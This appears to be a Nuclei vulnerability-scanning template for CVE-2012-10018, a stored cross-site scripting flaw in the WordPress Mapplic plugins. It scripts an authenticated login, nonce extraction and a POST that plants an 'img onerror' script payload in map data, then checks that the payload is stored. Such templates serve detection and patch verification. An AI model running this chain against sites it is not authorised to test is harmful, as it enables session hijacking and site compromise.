id: CVE-2012-10018

info:
  name: WordPress Mapplic <= 6.1 / Mapplic Lite <= 1.0 - Authenticated Stored XSS via SVG File Upload
  author: KrE80r
  severity: high
  description: |
    The Mapplic and Mapplic Lite plugins for WordPress are vulnerable to Stored Cross-Site Scripting via arbitrary URL injection in versions up to and including 6.1 and 1.0 respectively. Authenticated users with author-level permissions can inject arbitrary remote URLs for SVG map files. When a user views the map (admin panel or frontend page with shortcode), the browser fetches the SVG via jQuery .load() and inserts it into the DOM. If the SVG contains embedded JavaScript, it executes as XSS.
  impact: |
    An attacker with author-level access can inject URLs pointing to malicious SVG files containing JavaScript payloads. When any user views the map, the browser loads the SVG and executes the embedded scripts, potentially leading to session hijacking, privilege escalation, or complete site compromise.
  remediation: |
    Update Mapplic to version 7.0 or later, and Mapplic Lite to version 1.0.1 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2012-10018
    - https://wpscan.com/vulnerability/7bdee32b-9036-4e13-9586-4d6a9a1159c6/
    - https://patchstack.com/database/wordpress/plugin/mapplic-lite/vulnerability/wordpress-mapplic-lite-plugin-1-0-stored-cross-site-scripting-xss-injection-via-server-side-request-forgery-ssrf-vulnerability
    - https://packetstormsecurity.com/files/161920/WordPress-Mapplic-6.1-SSRF-Cross-Site-Scripting.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cve-id: CVE-2012-10018
    cwe-id: CWE-79
    epss-score: 0.0338
    epss-percentile: 0.87552
    cpe: cpe:2.3:a:mapplic:mapplic:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: mapplic
    product: mapplic
  tags: cve,cve2012,wordpress,wp-plugin,xss,mapplic,vkev,authenticated

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/post-new.php?post_type=mapplic_map HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "name=\"_wpnonce\"","post_ID")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - 'name="_wpnonce" value="([a-f0-9]+)"'
        internal: true

      - type: regex
        name: post_id
        part: body
        group: 1
        regex:
          - 'name=.post_ID. value=.(\d+).'
        internal: true

  - raw:
      - |
        POST /wp-admin/post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _wpnonce={{nonce}}&post_ID={{post_id}}&post_title=Test&mapplic-mapdata=%7B%22mapwidth%22%3A%22100%22%2C%22mapheight%22%3A%22100%22%2C%22levels%22%3A%5B%7B%22id%22%3A%22test%22%2C%22title%22%3A%22%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E%22%2C%22map%22%3A%22test.svg%22%7D%5D%7D&action=editpost&post_type=mapplic_map

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
        internal: true

  - raw:
      - |
        GET /wp-admin/post.php?post={{post_id}}&action=edit HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "<img src=x onerror=alert(document.domain)>", "mapplic-mapdata")
        condition: and
# digest: 490a00463044022043325fc3b93b63023f08c375edfeb2a8ee89941ae510e54114fd38057550e3ae02201b7557a274a7b202a0120eb330706cce594a358ce2a24f2bb53404208424846c:922c64590222798bb761d5b6d8e72950